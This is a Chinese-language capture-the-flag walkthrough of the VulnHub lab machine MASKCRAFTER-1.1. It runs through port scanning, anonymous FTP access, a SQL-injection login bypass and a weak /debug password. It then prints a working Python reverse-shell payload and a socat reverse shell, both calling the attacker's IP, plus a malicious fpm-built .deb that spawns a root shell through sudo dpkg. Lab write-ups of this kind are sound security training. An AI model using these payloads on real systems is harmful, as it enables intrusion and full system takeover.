vulnhub靶场,MASKCRAFTER-1.1
环境准备
靶机下载地址:https://www.vulnhub.com/entry/maskcrafter-11,445/
攻击机:kali(192.168.109.128)
靶机:MASKCRAFTER-1.1(192.168.109.179)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
使用arp-scan确定目标靶机
确定目标靶机IP为192.168.109.179
使用nmap扫描查看目标靶机端口开放情况
nmap -Pn -sV -p- -A 192.168.109.179
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-13 13:35 CST
Nmap scan report for 192.168.109.179
Host is up (0.00043s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 112 115 4096 Mar 30 2020 pub
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.109.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8f:1b:43:23:0a:24:8c:66:ad:3d:a2:b9:69:33:4d:d7 (RSA)
| 256 8a:2c:85:7c:2d:96:22:f6:98:f2:4a:b6:7a:88:df:23 (ECDSA)
|_ 256 ac:a7:99:15:9c:bf:69:44:d9:c2:96:2a:8f:79:9b:6d (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/debug
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Maskcrafter(TM) Login Page
|_Requested resource was login.php
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 33509/tcp mountd
| 100005 1,2,3 35096/udp mountd
| 100005 1,2,3 45920/udp6 mountd
| 100005 1,2,3 58911/tcp6 mountd
| 100021 1,3,4 40847/tcp nlockmgr
| 100021 1,3,4 42439/tcp6 nlockmgr
| 100021 1,3,4 47120/udp6 nlockmgr
| 100021 1,3,4 52309/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
33509/tcp open mountd 1-3 (RPC #100005)
40181/tcp open mountd 1-3 (RPC #100005)
40847/tcp open nlockmgr 1-4 (RPC #100021)
44431/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:D2:79:C0 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.43 ms 192.168.109.179
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.74 seconds
开放端口:21、22、80、111、2049、33509、40181、40847、44431
首先查看一下ftp,以匿名用户进行登入
发现一个pub文件,进入看看
发现在pub文件下面还有两个文件,将他们下载到本地
查看NOTES.txt
文件内容
这里说请为/debug
目录选择一个更强的密码,并且账号是admin,还提示了一个SQL注入,先往后面看
还有一个zip文件,但是解压发现需要密码
浏览器访问目标靶机80端口
这里是一个登入页面,使用暴力破解无效后,想起那个文本里提到的SQL注入使用万能密码登入成功
' or 1=1#
111
虽然登入成功,但是这个页面也没有啥能利用的,再去查看那个文本提到的/debug
目录
这里是一个登入框,那个文本里面说了账号为admin,还提醒要为/debug
目录设置强密码,说明这里密码肯定为弱密码,果然,使用admin:admin
直接登入成功
有三个按钮,可以执行不同的命令
渗透过程
直接使用hackbar抓取POST内容
可以看到执行命令的数据就是在POST内容里,修改为其他命令看是否能执行
命令执行成功,直接来反弹shell
kali:
靶机:
command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
可以看到kali这边成功反弹回来一个shell
权限提升
查看该用户的suid权限,没有发现什么能利用的命令
在网站根目录下面发现了数据库配置文件
查看其内容
发现数据库连接账号密码
连接数据库
在creds这张表里发现了压缩包的解压密码
show databases;
use mydatabase;
show tables;
select * from creds;
将压缩包进行解压缩
解压出来得到一个txt文件,查看其内容
成功获得userx用户的密码,使用su命令切换为userx
查看userx用户的sudo命令
发现在/scripts
目录下有一个可执行文件,可以在不知道evdaez用户的密码情况下执行该文件
查看该可执行文件内容
查看一下给文件权限
可以看到当前用户是具有所有权限的,只需要向里面写入"/bin/bash",然后以evdaez用户执行该文件就可以获得evdaez用户的shell
成功获得evdaez用户的shell,查看该用户的sudo命令
又发现一个文件,查看其内容
不知道是啥东西,直接上提权网站查询提权方法
kali上执行:socat file:`tty`,raw,echo=0 tcp-listen:12345
靶机上执行:sudo -u researcherx socat tcp-connect:192.168.109.128:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
可以看到成功反弹researcherx用户的shell
查看researcherx用户的sudo命令
发现一个命令,再次上提权网站进行查询
kali上执行以下命令,将生成一个可以获得/bin/sh的恶意文件
但是kali上是没有安装fpm,使用sudo gem install fpm
安装一下
然后依次输入上面网站给的命令
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
成功生成恶意文件,使用python搭建一个临时http服务
靶机进入tmp目录下载该恶意文件
运行该恶意文件
sudo dpkg -i x_1.0_all.deb
成功提升为root权限,切换至其root目录,成功获得flag,靶机MASKCRAFTER-1.1渗透结束